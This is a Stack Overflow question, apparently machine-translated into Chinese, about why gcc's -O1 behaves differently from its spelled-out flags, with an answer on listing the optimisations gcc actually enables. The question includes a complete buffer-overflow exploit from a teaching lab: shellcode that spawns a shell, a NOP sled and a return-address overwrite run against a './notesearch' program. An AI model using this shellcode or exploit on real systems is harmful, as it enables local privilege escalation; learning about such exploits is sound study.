This question already has answers here:
Selecting gcc optimisation flags equivalent to -O1

(2个答案)


3年前关闭。




当处理堆栈溢出时,我注意到只有当我用'-O1'编译它时,它才起作用。为了了解哪个选项是造成差异的原因,我手动输入了-O1选项(从我的版本的page中获取,与我在机器上检查man gcc时发现的内容一致)。但是,该程序然后再次不起作用。

我确实注意到仅用-O1编译后,这可能对警告输出没有帮助:exploit_notesearch.c:31:10: warning: ignoring return value of ‘system’, declared with attribute warn_unused_result [-Wunused-result]

有任何想法吗?在一个旧的SO问题中还有其他人pointed the difference out,但仍未解决。

数据:
-Ubuntu 12.04
-gcc 4.6.3。
-x86 32位
-一个C程序

注意:关于溢出的工作,我已经禁用了我所知道的所有防止溢出的内容(canaries,ASLR,execstack,堆栈对齐)。

代码(可能与问题无关)。这个函数调用另一个我可以发布的函数。但我认为这并不重要(应要求提供):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
   unsigned int i, *ptr, ret, offset=270;
   char *command, *buffer;

   command = (char *) malloc(200);
   bzero(command, 200); // zero out the new memory

   strcpy(command, "./notesearch \'"); // start command buffer
   buffer = command + strlen(command); // set buffer at the end

   if(argc > 1) // set offset
      offset = atoi(argv[1]);

   ret = (unsigned int) &i - offset; // set return address

   for(i=0; i < 160; i+=4) // fill buffer with return address
      *((unsigned int *)(buffer+i)) = ret;
   memset(buffer, 0x90, 60); // build NOP sled
   memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

   strcat(command, "\'");

   system(command); // run exploit
   free(command);
}

最佳答案

您可以通过运行打印出gcc实际使用的优化

gcc -Q -O0 --help=optimizers

(或其他任何优化级别,而不是-O0)。

关于c - gcc:使用-O1并拼写出-O1选项会导致不同的结果(一种有效;一种无效),我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/20246357/

10-11 16:40